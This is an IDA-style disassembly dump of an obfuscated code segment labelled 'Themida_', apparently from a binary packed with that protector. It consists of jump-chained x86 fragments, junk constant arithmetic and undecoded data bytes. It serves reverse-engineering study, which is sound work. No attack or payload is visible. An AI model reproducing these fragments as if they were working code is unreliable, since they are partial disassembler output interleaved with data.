loc_50CF01:				; CODE XREF: Themida_:0050C459j
		push	eax
		push	edx
		mov	dl, bh
		jmp	loc_504EBB
; ---------------------------------------------------------------------------
		dw 4BBh
		dd 1000000h, 241C8BDEh,	5004C483h, 0A204B4B8h, 8875E917h
		dd 0E0C1FFFFh, 4C402D06h, 4054BF8h, 137F1DCh, 1CE958C6h
		db 0BAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50CF37:				; CODE XREF: Themida_:0050BAA4j
		sub	ecx, edi
		pop	edi
		push	esi
		mov	esi, 68FD41FAh
		sub	edx, esi
		pop	esi
		sub	edx, 369C5188h
		add	edx, ecx
		jmp	loc_50A44C
; ---------------------------------------------------------------------------
		dd 0B2241489h, 80DAF6E6h, 49E90EF2h
		db 9, 2	dup(0)
; ---------------------------------------------------------------------------


loc_50CF5F:				; CODE XREF: Themida_:00504F55j
		mov	ecx, [esp]
		add	esp, 4
		add	ecx, 0DA9EB834h
		mov	edx, ecx
		pop	ecx
		xor	edx, ebx
		jmp	loc_50D12E
; ---------------------------------------------------------------------------
		db 5Dh,	1, 0F8h
		dd 0FF54E0E9h, 245C01FFh, 0C63FE904h, 4BBFFFFh,	51000000h
		dd 9F117DB9h, 244C296Dh, 5C015908h, 44810424h, 117D0424h
		dd 5E5B6D9Fh, 4EC8152h,	89000000h, 80E9243Ch, 80FFFF6Bh
		dd 0E9802DE9h, 0CE88529Ch, 0CCE95150h, 0ACFFFF89h, 0EC83D830h
		dd 241C8904h, 0FFEDC9E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_50CFD1:				; CODE XREF: Themida_:00501AE9j
		mov	eax, 0DA8C740h
		jmp	loc_508536
; ---------------------------------------------------------------------------
		db 0F7h
		dd 960DE9D6h, 8B66FFFFh, 0EC832404h, 242C8904h,	0DAE9E589h
		db 74h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50CFF3:				; CODE XREF: Themida_:00503BDFj
		push	esi
		jmp	loc_505B0D
; ---------------------------------------------------------------------------
		db 55h,	0E9h, 0Bh
		db 83h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50CFFF:				; CODE XREF: Themida_:005029CDj
		push	ebp
		push	edx
		push	eax
		push	7777737Fh
		pop	eax
		dec	eax
		xor	eax, 4B5309F7h
		mov	edx, eax
		pop	eax
		jmp	loc_5072CA
; ---------------------------------------------------------------------------
		dw 1433h
		dd 9E82E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50D01E:				; CODE XREF: Themida_:0050ABBBj
		mov	eax, [esp]
		add	esp, 4
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		push	edx
		mov	edx, esp
		jmp	loc_508F5F
; ---------------------------------------------------------------------------
		db 81h,	0EAh, 0E2h
		dd 81FF5FF7h, 987118C6h, 81D60148h, 987118EEh, 0D56CE948h
		dd 0E95DFFFFh, 0FFFF5900h, 5916CF81h, 0F7811B57h, 88452D9h
		dd 15FF829h, 0C3358C1h,	240C3124h, 0E9240C33h, 0E5h, 4C481h
		dd 0C4040000h, 0C42CD800h, 9CE95166h
		db 0Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_50D08F:				; CODE XREF: Themida_:00506472j
		xor	[esp+4], ebp
		pop	ebp
		pop	eax
		push	ebx
		mov	ebx, 7DA20E41h
		xor	eax, ebx
		pop	ebx
		push	0DD8h
		mov	[esp], edi
		mov	edi, 383C4043h
		sub	edi, 7AC1E9Eh
		sub	esp, 4
		mov	[esp], ebp
		push	4B8D75F4h
		mov	ebp, [esp]
		add	esp, 4
		shl	ebp, 7
		inc	ebp
		jmp	loc_5028E8
; ---------------------------------------------------------------------------
		dw 8158h
		dd 2C6h, 74FF5600h, 8F5E0424h, 26E92404h, 0E9FFFF98h, 0FFFF4729h
		dd 5C240C87h, 0E95EF389h, 0FFFF471Dh, 4BFh, 51C28100h
		dd 292E610Ah, 9853E9FAh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50D106:				; CODE XREF: Themida_:0050C44Ej
		inc	edi
		add	edi, 370B01CFh
		dec	edi
		xor	edi, 727CF96h
		sub	ecx, edi
		pop	edi
		add	ecx, eax
		jmp	loc_50B29D
; ---------------------------------------------------------------------------
		dw 1C87h
		dd 24248B24h, 24043166h, 46E3E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50D12E:				; CODE XREF: Themida_:0050CF70j
		mov	ebx, [esp]
		jmp	loc_5031A2
; ---------------------------------------------------------------------------
		dw 0E958h
		dd 0FFFF601Bh, 0E9F2295Bh, 0FFFFEE76h
; ---------------------------------------------------------------------------


loc_50D144:				; CODE XREF: Themida_:0050B442j
		pop	edi
		add	[esp+4], eax
		pop	eax
		pop	eax
		push	ebx
		push	esi
		mov	esi, 550C364Fh
		inc	esi
		dec	esi
		sub	esi, 0F570259Fh
		mov	ebx, esi
		jmp	loc_50CBA1
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 240C8B66h, 90F3E950h, 5155FFFFh, 5D764C68h, 240C8B2Ah
		dd 5004C483h, 765BBF57h, 0CF810CFCh, 62DB3544h,	0C20EF781h
		dd 62E96820h
		db 0D3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50D193:				; CODE XREF: Themida_:00504482j
		pop	esp
		jmp	loc_50D6B3
; ---------------------------------------------------------------------------


loc_50D199:				; CODE XREF: Themida_:00508A87j
		push	esp
		jmp	loc_50431B
; ---------------------------------------------------------------------------
		db 81h
		dd 8C7C26C6h, 0EE815F11h, 34C00EB6h, 1559C681h,	0EE8137C9h
		dd 7AD975C5h, 7FE9C601h, 56FFFF9Fh, 4BEh, 5EF10100h, 0FF8B20E9h
		dd 3FB9BBFFh, 0D3F71F0Bh, 0FF842EE9h, 24348BFFh, 8704C483h
		dd 665C243Ch, 66241489h, 69E99C50h
		db 0BBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50D1EF:				; CODE XREF: Themida_:0050D6AEj
		pop	edx
		add	dh, ah
		pop	eax
		mov	ebx, [esp]
		add	esp, 4
		xor	al, dh
		pop	edx
		sub	bl, 0C5h
		jmp	loc_501B8C
; ---------------------------------------------------------------------------
		db 5Ah
		dd 2BA52h, 0EF810000h, 24232692h, 0C781D701h, 24232692h
		dd 0D325E95Ah, 8B66FFFFh, 0E9552404h, 0FFFFC9B1h, 8B24048Fh
		dd 41E92424h
		db 69h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50D237:				; CODE XREF: Themida_:0050AAB3j
		mov	eax, esp
		jmp	loc_50B788
; ---------------------------------------------------------------------------
		dw 45Bh
		dd 0E9680420h, 0FFFF47E7h
; ---------------------------------------------------------------------------


loc_50D248:				; CODE XREF: Themida_:00507955j
		pop	esp
		jmp	loc_5033B3
; ---------------------------------------------------------------------------


loc_50D24E:				; CODE XREF: Themida_:0050AD9Dj
		mov	esi, edx
		jmp	loc_501B78
; ---------------------------------------------------------------------------
		db 0BBh, 0C1h, 69h
		dd 0EB812614h, 0A618EBC6h, 15BD931h, 0E6F9E9C8h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50D26A:				; CODE XREF: Themida_:0050B529j
		jmp	loc_501811
; ---------------------------------------------------------------------------


loc_50D26F:				; CODE XREF: Themida_:00502CD6j
		pop	ecx
		jmp	loc_502D2E
; ---------------------------------------------------------------------------
		db 5Eh,	4Bh, 0F7h
		dd 32CB81DBh, 815E313Bh, 4ECh, 24048900h, 1578F8B8h, 58C33136h
		dd 0BA52DBF7h, 77AB3522h, 0FF656AE9h, 66A9BFFFh, 0CCE977B6h
		dd 81FFFFA3h, 4A299BC6h, 3BE95848h, 81FFFFEFh, 0EE0B16F2h
		dd 0EECA8113h, 81368B50h, 2B3074F2h, 3DEA8123h,	29E5A442h
		dd 0E9015AD5h, 240C335Dh, 33240C31h, 0E95C240Ch, 0FFFFF5BEh
; ---------------------------------------------------------------------------


loc_50D2E0:				; CODE XREF: Themida_:00506F9Bj
		push	edi
		push	esi
		jmp	loc_50C5BB
; ---------------------------------------------------------------------------
		db 51h
		dd 5C071468h, 0DFE95973h, 80FFFFAFh, 0EA000EEDh, 4806E959h
		dd 3489FFFFh, 0F5BD5524h, 505D2D3Eh, 6C6CBD55h,	26E9373Eh
		db 99h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50D313:				; CODE XREF: Themida_:005090C1j
		mov	ecx, 732E25E1h
		add	ecx, 29D36766h
		sub	ecx, 0FFFFFFFFh
		shr	ecx, 4
		add	ecx, 52E91DD9h
		xor	ecx, 24AC7281h
		sub	edx, ecx
		jmp	loc_50D85D
; ---------------------------------------------------------------------------


loc_50D337:				; CODE XREF: Themida_:0050C51Fj
		xor	esi, 315721D5h
		jmp	loc_50CB8B
; ---------------------------------------------------------------------------
		dw 0C181h
		dd 1, 43E98149h, 21D35CB6h, 0BD5559CAh,	73EA2AEFh, 0F75DEA01h
		dd 47C281DAh, 427EE540h, 52A5E950h, 0CEBEFFFFh,	815D911Ch
		dd 0EA1006CEh, 81464E02h, 94118EEEh, 0C2C6814Eh, 29EE98F4h
		dd 0FE4FE9F7h, 0BF57FFFFh, 26DB5680h, 14F7574Fh, 0E7815F24h
		dd 10EB113Ah, 0D924EF81h, 0F929D736h, 0FF9B53E9h, 0C8966FFh
		dd 24748624h, 0F6EE8601h, 86EE86D5h, 66012474h,	0E9240C8Bh
		dd 0FFFF6843h, 8107EAC1h, 0C329E5C2h, 5AD32975h, 5E2434FFh
		dd 4C481h, 0EB810000h, 38E62431h, 0C381C301h, 38E62431h
		dd 1FBDEB81h, 6866741Dh, 89662AB1h, 0CCE9240Ch,	56FFFF54h
		dd 7E8DBB53h, 87BE2991h, 3117845Ch, 0FD2EE9DEh,	0EA81FFFFh
		dd 396D6AC0h, 2414335Fh, 33241431h, 248B2414h, 0A7BE924h
		dd 15E0000h, 9A5DE9CBh,	665CFFFFh, 9C240CD3h, 4B0E9h, 0E9F28900h
		dd 0FFFFF3DFh, 42474FFh, 81243C8Bh, 4C4h, 24048F00h, 0F724248Bh
		dd 748B68E9h, 14890000h, 0E99C5024h, 0FFFF43ADh
; ---------------------------------------------------------------------------


loc_50D464:				; CODE XREF: Themida_:0050668Ej
		add	eax, 0A7FD9F04h
		add	edi, eax
		pop	eax
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	ebp, [esp]
		add	esp, 4
		pop	ecx
		jmp	loc_50BEB1
; ---------------------------------------------------------------------------


loc_50D482:				; CODE XREF: Themida_:0050C4B5j
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 4
		add	eax, ebx
		pop	ebx
		xor	eax, [esp]
		jmp	loc_50C470
; ---------------------------------------------------------------------------
		db 68h
		dd 7286h, 0B8240489h, 1Ch, 0FF5CD1E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_50D4AD:				; CODE XREF: Themida_:0050302Aj
		push	825028Ch
		push	dword ptr [esp]
		pop	ebp
		push	35F5h
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		xor	ebp, edi
		mov	edi, [esp]
		add	esp, 4
		sub	[esp+4], ebp
		pop	ebp
		mov	eax, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_504DF1
; ---------------------------------------------------------------------------


loc_50D4F8:				; CODE XREF: Themida_:00505342j
		pop	edi
		shr	esi, 5
		jmp	loc_509C8F
; ---------------------------------------------------------------------------
		db 0B6h, 0FBh, 0E9h
		dd 0FFFF5BFFh, 147FC381h, 0D3F718B2h, 0FFC166E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_50D515:				; CODE XREF: Themida_:00502930j
		add	esp, 4
		mov	eax, ebp
		mov	ebp, [esp]
		push	ecx
		mov	ecx, esp
		jmp	loc_50700F
; ---------------------------------------------------------------------------
		dd 4E4373BAh, 0DAF28103h, 0E96A9056h, 0FFFFB7CAh, 9D1C77FFh
		dd 19665866h, 0E99C2404h, 0FFFF42C9h, 0C681E689h, 4, 4A3E9h
		dd 2434FF00h, 0FF7C3AE9h, 4C281FFh, 68000000h, 71Ah, 0BF243C89h
		dd 2, 6AC0BD55h, 1DE9396Dh, 0BEFFFF47h,	21A50BFEh, 18ADC681h
		dd 3FE91692h, 81FFFF7Dh, 843F71EFh, 0E9EF2977h,	0FFFF52E6h
; ---------------------------------------------------------------------------


loc_50D598:				; CODE XREF: Themida_:0050568Aj
		add	al, 91h
		push	1922h
		mov	[esp], edx
		push	ecx
		jmp	loc_50A531
; ---------------------------------------------------------------------------
		dd 0C3815B54h, 4, 4EC81h, 34890000h, 2BE24h, 0EB810000h
		dd 16207D47h, 7E5FEB81h, 0F3011CB7h, 7E5FC381h,	0C3811CB7h
		dd 16207D47h, 6824348Bh, 3A6Ah,	89240C89h, 4C181E1h, 83000000h
		dd 0C8704C1h, 1C335C24h, 241C3124h, 8B241C33h, 8B662424h
		dd 83532404h, 248904ECh, 24048324h, 3C685B04h, 0E9000053h
		dd 0FFFFE9D4h, 0C281E289h, 4, 4C281h, 14870000h, 57D0E924h
		dd 6866FFFFh, 89662AEAh, 0D6E92404h, 81FFFF41h,	4ECh, 24248900h
		dd 0F3E95350h, 5CFFFF46h, 89242C89h, 90E951E5h,	1FFFF7Bh
		dd 0C6685BD9h, 89000020h, 0B8502414h, 2, 0FFBF67E9h, 0C46866FFh
		dd 0D714E94Eh, 148BFFFFh, 4C48124h, 0E9000000h,	0FFFFAB16h
		dd 8B243C87h, 89662424h, 7EE9240Ch, 0ACFFFF41h,	8904EC83h
		dd 0B7532414h, 8BE951EAh
		db 6Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50D6A3:				; CODE XREF: Themida_:00509CF3j
		mov	ah, 0BFh
		add	dh, ah
		pop	ax
		add	dh, 0CFh
		add	ah, dh
		jmp	loc_50D1EF
; ---------------------------------------------------------------------------


loc_50D6B3:				; CODE XREF: Themida_:0050D194j
		mov	[esp], esi
		push	edx
		jmp	loc_505533
; ---------------------------------------------------------------------------
		dd 0AD63BBBFh, 4EC78126h, 29166130h, 4EEF81CFh,	8B166130h
		dd 0C481240Ch, 4, 34FCB850h, 0E0C17EC8h, 0FFC08306h, 0FFEB4FE9h
		dd 5FF989FFh, 99B5E955h, 1D68FFFFh, 0E9000056h,	0FFFF9841h
; ---------------------------------------------------------------------------


loc_50D6FC:				; CODE XREF: Themida_:005075CAj
		push	219F20D2h
		pop	ebp
		dec	ebp
		jmp	loc_5074F2
; ---------------------------------------------------------------------------
		dd 0E904C483h, 0FFFF85D5h, 0E959CF31h, 0FFFFB888h, 0B84E7C2Dh
		dd 3E1F0522h, 685E5A14h, 0BE0h,	68242C89h, 73Bh, 68243489h
		dd 501B584Eh, 0FF45F5E9h, 4C181FFh, 56000000h, 2BEh, 54BF5700h
		dd 5513B742h, 7C019CBDh, 83D5F72Bh, 0CD81FFC5h,	320953BDh
		dd 97A0F581h, 0EF01BD14h, 0CF81475Dh, 680F0B71h, 0E905EFC1h
		dd 0FFFFA34Ch
; ---------------------------------------------------------------------------


loc_50D778:				; CODE XREF: Themida_:00504AD3j
		mov	edi, 1F4E0886h
		xor	esi, edi
		pop	edi
		neg	esi
		xor	esi, 0E6C6159Ah
		xor	edx, esi
		jmp	loc_504F3C
; ---------------------------------------------------------------------------
		db 5Fh
		dd 31240433h, 4332404h,	0EED2E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50D79E:				; CODE XREF: Themida_:0050DA8Fj
		sub	eax, 24D346B3h
		pop	ebp
		xchg	eax, [esp]
		mov	esp, [esp]
		mov	[esp], ebp
		push	edx
		push	33566021h
		pop	edx
		xor	edx, 614630CAh
		add	edx, 0ADEFB715h
		mov	ebp, edx
		pop	edx
		and	ecx, ebp
		pop	ebp
		shr	ecx, 0Bh
		push	ebx
		push	esi
		mov	esi, 36990418h
		xor	[esp+4], esi
		pop	esi
		mov	eax, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 64334FE6h
		jmp	loc_507F4B
; ---------------------------------------------------------------------------
		dw 0C183h
		dd 713EE904h, 0C483FFFFh, 65F18104h, 50127522h,	66003B8h
		dd 0D0F74805h, 0B62DD8F7h, 29E05D32h, 0C82958C1h, 0FF6D62E9h
		dd 0AAC581FFh, 0E952C736h, 0FFFF7452h, 6A19EA81h, 83583720h
		dd 0C8E9FFEAh
		db 0FBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50D833:				; CODE XREF: Themida_:0050CEEAj
		add	ebx, edi
		add	ebx, 22C24C82h
		pop	edi
		push	40BFh
		mov	[esp], edx
		jmp	loc_5063A4
; ---------------------------------------------------------------------------
		db 0ACh, 0E9h, 0B7h
		dd 0FFFFFF4Eh, 589D1C77h, 9C240411h, 0FF3FB4E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_50D85D:				; CODE XREF: Themida_:0050D332j
		pop	ecx
		push	esi
		mov	esi, 1F86162Ah
		xor	edx, esi
		mov	esi, [esp]
		push	eax
		mov	eax, esp
		push	esi
		mov	esi, 3EAA0197h
		inc	esi
		sub	esi, 3EAA0194h
		add	eax, esi
		pop	esi
		add	eax, 4
		jmp	loc_50B809
; ---------------------------------------------------------------------------
		dw 3C33h
		dd 243C3124h, 8B243C33h, 2FE92424h, 56FFFF67h, 612D56BEh
		dd 9FE68136h, 0E914103Fh, 0FFFF90EFh, 8007EAC0h, 0D2F6BDF2h
		dd 0C8B75366h, 0FFBAD3E9h, 58C201FFh, 108568h, 241C8900h
		dd 0FF8B02E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_50D8C9:				; CODE XREF: Themida_:0050A2E9j
		pop	dword ptr [esp]
		jmp	loc_5021AE
; ---------------------------------------------------------------------------
		db 0ADh, 0E9h, 7
		db 46h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50D8D7:				; CODE XREF: Themida_:005021F3j
		mov	[esp], eax
		push	5F1A3D5Ch
		pop	eax
		xchg	eax, ebx
		neg	ebx
		xchg	eax, ebx
		jmp	loc_50BCCA
; ---------------------------------------------------------------------------
		db 0E9h, 23h, 3Fh
		dd 0EC83FFFFh, 24248904h, 4240481h, 0FF000000h,	0E95D2434h
		dd 0FFFF4336h
; ---------------------------------------------------------------------------


loc_50D904:				; CODE XREF: Themida_:0050B7F6j
		or	edx, eax
		shl	edx, 1
		jmp	loc_50870A
; ---------------------------------------------------------------------------
		db 89h,	0E6h, 81h
		dd 4C6h, 0A2CFE900h, 0C481FFFFh, 4, 0FF52E0E9h,	4C483FFh
		dd 7613C781h, 0E1E978D6h, 81FFFFB8h, 0D77C79E2h, 40F28160h
		dd 817EC960h, 70743EAh,	5AD08906h, 2D06E8C1h, 50006947h
		dd 242C8750h, 2C87D5F7h, 685824h, 29000000h, 0E9582404h
		dd 0FFFFB95Dh, 17F9BB53h, 0DD212D48h, 0FFCD15E9h, 0EBB53FFh
		dd 0B9035158h, 76B32005h, 0FF8423E9h, 16E955FFh, 89FFFF45h
		dd 0E0892404h, 405h, 42D00h, 4870000h, 4270E924h, 6664FFFFh
		dd 92E9028Bh, 43FFFF8Fh, 0EBC1DBF7h, 20EB8103h,	8163E012h
		dd 0CF5B9CC3h, 3EED8153h, 8121B924h, 0DF0B64EDh, 81DD016Eh
		dd 0DF0B64C5h, 3EC5816Eh, 5B21B924h, 0FF7A77E9h, 0E9F501FFh
		dd 0FFFF6052h, 240C8B66h, 57E68956h, 4BFh, 0E9FE0100h
		dd 0FFFF5E99h, 8704C683h, 8DE92434h, 0F6FFFF97h, 0D4E8E9D4h
		dd 5268FFFFh, 8900003Bh, 1BBA2414h, 4A530342h, 0C637EA81h
		dd 0E053697h, 291F2A61h, 610E2DD0h, 97E91F2Ah
		db 0C9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50DA2F:				; CODE XREF: Themida_:00509FE0j
		xor	edi, 487F311Bh
		or	edi, 2D492F9Fh
		add	edi, 4A3D159Ch
		push	eax
		mov	eax, 2E041BF1h
		or	eax, 7DAA75B3h
		xor	eax, 5A0F6203h
		xor	edi, eax
		pop	eax
		sub	edi, 0AC0D58C7h
		add	eax, edi
		pop	edi
		add	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		shr	eax, 18h
		xor	eax, ecx
		push	95Eh
		mov	[esp], eax
		xchg	ecx, [esp]
		jmp	loc_50B99D
; ---------------------------------------------------------------------------


loc_50DA7D:				; CODE XREF: Themida_:00504827j
		add	eax, 4
		push	ebp
		mov	ebp, 4
		add	eax, 24D346B3h
		sub	eax, ebp
		jmp	loc_50D79E
; ---------------------------------------------------------------------------
		dd 0A8BF575Bh, 0C137CB5Ah, 0E78107E7h, 4F2B279Fh, 10E7C781h
		dd 0FB31FCA8h, 81243C8Bh, 4C4h,	0BA525A00h, 6A7064BDh
		dd 8245401h, 7BF6E95Ah,	0B551FFFFh, 8BEB3059h, 0ABE9240Ch
		dd 8BFFFFB3h, 0C483241Ch, 2CE95704h, 0E9FFFFF1h, 0FFFF3D2Dh
		dd 66C3285Ah, 8124048Bh, 2C4h, 0E9C32800h, 32Eh, 0AA6CEABFh
		dd 4EFC13Eh, 0E9FFC783h, 0FFFF6569h
; ---------------------------------------------------------------------------


loc_50DB08:				; CODE XREF: Themida_:0050C5C0j
		push	1964h
		jmp	loc_502207
; ---------------------------------------------------------------------------


loc_50DB12:				; CODE XREF: Themida_:0050C2D2j
		pop	eax
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		jmp	loc_50274A
; ---------------------------------------------------------------------------
		db 1, 0E8h, 5Dh
		dd 0FFEE88E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_50DB2D:				; CODE XREF: Themida_:00507D1Bj
		add	ch, bh
		pop	ebx
		sub	al, ch
		pop	ecx
		jmp	loc_505A9F
; ---------------------------------------------------------------------------
		dd 81240489h, 31532404h, 3C8B6E65h, 4C48124h, 81000000h
		dd 653153EFh, 68B2E96Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50DB56:				; CODE XREF: Themida_:00506C2Bj
		mov	edx, ebx
		pop	ebx
		add	esi, edx
		pop	edx
		sub	esi, 4
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_5057F0
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFF3C8Dh, 3EE9D5F7h, 87FFFF73h, 555C2404h,	42474FFh
		dd 526AE95Dh, 0EBC1FFFFh, 5EBC107h, 72DF381h, 0EBC16DE4h
		dd 72F38102h, 891B78BAh, 4C015BD9h, 8B590424h, 0C481241Ch
		dd 4, 0FF5FD4E9h, 2434FFFFh, 4C48159h, 83000000h, 0B65204C4h
		dd 21286804h, 0C890000h, 0F6BDB124h, 80C1FED1h,	0E1C072E1h
		dd 0FFC18006h, 0FFF1ADE9h, 40F181FFh, 10E0238h,	37E959C8h
		dd 0F7FFFF74h, 65F181D9h, 0E9F02AB4h, 0FFFF488Ch
; ---------------------------------------------------------------------------


loc_50DC0C:				; CODE XREF: Themida_:0050B68Fj
		push	esi
		push	edx
		jmp	loc_508849
; ---------------------------------------------------------------------------
		db 5Ch
		dd 4C681h, 0C6810000h, 4, 0FFC41FE9h, 0CAE946FFh, 53FFFF5Fh
		dd 60B1D5B3h, 7E9D900h,	0BAFFFFF6h, 66413D09h, 5F5A5752h
		dd 81FA8747h, 376B5C2h,	0CA814270h, 3D1B47A6h, 0FFF3E8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_50DC55:				; CODE XREF: Themida_:00506D5Ej
		mov	ebp, 74545966h
		sub	ebp, 91A6704h
		jmp	loc_50AD6A
; ---------------------------------------------------------------------------
		db 0BAh, 0B9h, 44h
		dd 0EA3164E0h, 0DDBD555Dh, 81775A4Eh, 697910E5h, 0DCF58125h
		dd 534C5908h, 0C4277B68h, 0DD315B4Dh, 0FFDD29E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_50DC8D:				; CODE XREF: Themida_:005042C6j
		mov	ebx, 469E20D3h
		neg	ebx
		or	ebx, 24D855C4h
		add	ebx, 472A081Eh
		add	ebx, 1
		add	ebx, 6ABAD1DFh
		add	ecx, ebx
		pop	ebx
		jmp	loc_50522F
; ---------------------------------------------------------------------------
		db 81h,	0C1h, 4
		dd 56000000h, 38D3B850h, 0F7406252h, 6D76E9D8h,	0DE31FFFFh
		dd 0E953565Bh, 0FFFFBC71h, 0A6E9C300h, 1FFFF7Eh, 0BEEB81D3h
		dd 5A37E92Dh, 4EB81h, 1C330000h, 6E1CE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50DCEE:				; CODE XREF: Themida_:00506361j
		pop	esp
		shr	ecx, 6
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, esp
		push	edi
		mov	edi, 4
		sub	ecx, 2D2656A9h
		push	edx
		mov	edx, 2FBB6BA3h
		add	ecx, 2F7A754Ch
		sub	ecx, edx
		sub	ecx, 2F7A754Ch
		pop	edx
		add	ecx, edi
		add	ecx, 2FBB6BA3h
		add	ecx, 2D2656A9h
		jmp	loc_505347
; ---------------------------------------------------------------------------


loc_50DD2E:				; CODE XREF: Themida_:00502433j
		push	dword ptr [esp]
		pop	edx
		jmp	loc_508D10
; ---------------------------------------------------------------------------


loc_50DD37:				; CODE XREF: Themida_:005050A1j
		add	esp, 4
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_50A956
; ---------------------------------------------------------------------------
		db 68h,	0AEh, 59h
		dd 4890000h, 0BB45E924h, 0F331FFFFh, 4C612D5Eh,	0BD2D0E9Fh
		dd 2D5DE478h, 2AC17451h, 8EE9D829h
		db 0F2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50DD6B:				; CODE XREF: Themida_:005057EBj
		add	esp, 4
		push	392Fh
		mov	[esp], eax
		mov	eax, esp
		push	edx
		mov	edx, 4
		add	eax, edx
		pop	edx
		add	eax, 4
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		jmp	loc_503A8C
; ---------------------------------------------------------------------------
		dw 0EFC0h
		dd 0E9D7F602h, 0FFFFE5CFh
; ---------------------------------------------------------------------------


loc_50DD9C:				; CODE XREF: Themida_:00508934j
		sub	edi, 20C2287Dh
		add	esi, edi
		pop	edi
		add	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		xor	eax, 561B48B6h
		dec	eax
		and	eax, 68AC472Eh
		jmp	loc_50667E
; ---------------------------------------------------------------------------


loc_50DDC1:				; CODE XREF: Themida_:00503491j
		mov	edi, [esp]
		push	ecx
		mov	ecx, esp
		push	esi
		jmp	loc_50ACD3
; ---------------------------------------------------------------------------
		db 35h,	49h, 7Fh
		dd 63E9682Eh, 66FFFFB9h, 57C8BE0Fh, 0FFA278E9h,	0C0B60FFFh
		dd 24148B66h, 5E08950h,	4, 0A9D9E955h, 102DFFFFh, 5B331733h
		dd 4EC8157h, 89000000h,	0A4BB241Ch, 0E916AC3Ch,	0FFFFDB73h
		dd 805AD588h, 0E586DDE5h, 0FFFBE6E9h, 242C87FFh, 8D65E95Ch
		dd 0EC81FFFFh, 4, 0FFD899E9h, 0D8295BFFh, 0CA7A4B05h, 0E389535Ch
		dd 4C381h, 0EB810000h, 4, 5C241C87h, 0E9242C89h, 0FFFF9197h
		dd 44036E2Dh, 42BD5570h, 157C73Ch, 0D8295DE8h, 4EC81h
		dd 3C890000h, 3C42BF24h, 0A6E957C7h, 81FFFFAFh,	4C3h, 4EB8100h
		dd 87000000h, 895C241Ch, 14E92434h, 83FFFFBFh, 48904ECh
		dd 5E08924h, 4,	0FF5A65E9h, 48966FFh, 0C853E924h, 0C681FFFFh
		dd 237110Fh, 8708E6C1h,	87D1F7CEh, 4EEC1CEh, 0FB3BB850h
		dd 0C6290CE6h, 0FF3B24E9h, 25E9FFh, 5698A500h, 239B1E00h
		dd 0FAh, 0FE037D00h, 568CC87Fh,	2216800h, 21700h, 200h
		dd 100h, 0
		dd 239B1E00h, 0FAh, 4 dup(0)
		dd 518C1800h, 51E2F200h, 51479800h, 51C6AC00h, 51F01500h
		dd 51C35A00h, 51AD4500h, 51D31300h, 519ADA00h, 51928800h
		dd 51AB0D00h, 51011D00h, 51385400h, 5211AF00h, 510EF200h
		dd 51023400h, 50FFF300h, 5184DB00h, 521DA500h, 5170BB00h
		dd 52070700h, 5221D900h, 5118FD00h, 511A4E00h, 51BE3300h
		dd 514FFB00h, 518DD900h, 51286B00h, 52277600h, 512EA900h
		dd 51BD3A00h, 51614A00h, 518B3600h, 523BF800h, 51139D00h
		dd 51EFCE00h, 519FA700h, 5236C000h, 50E95F00h, 515CA800h
		dd 5122E300h, 51ADC600h, 513A8D00h, 51BFA800h, 50F9DE00h
		dd 51582500h, 51F04600h, 519DDD00h, 51060200h, 511C3600h
		dd 510A9600h, 51669E00h, 51DD0800h, 51682E00h, 51388400h
		dd 51505B00h, 51EC0C00h, 51232200h, 5184E300h, 51A53100h
		dd 50FEDE00h, 51E8CC00h, 51320300h, 51DF0900h, 516E7D00h
		dd 51252500h, 51861800h, 51E94F00h, 5218D700h, 516DA400h
		dd 5213DC00h, 51719700h, 52201000h, 510AB800h, 5237C700h
		dd 511FB800h, 52078100h, 50F8DD00h, 50F66200h, 51884700h
		dd 51DCAD00h, 523C3300h, 51A91B00h, 517D1600h, 51CE4A00h
		dd 5238C500h, 51959500h, 52250600h, 51648E00h, 51BDF100h
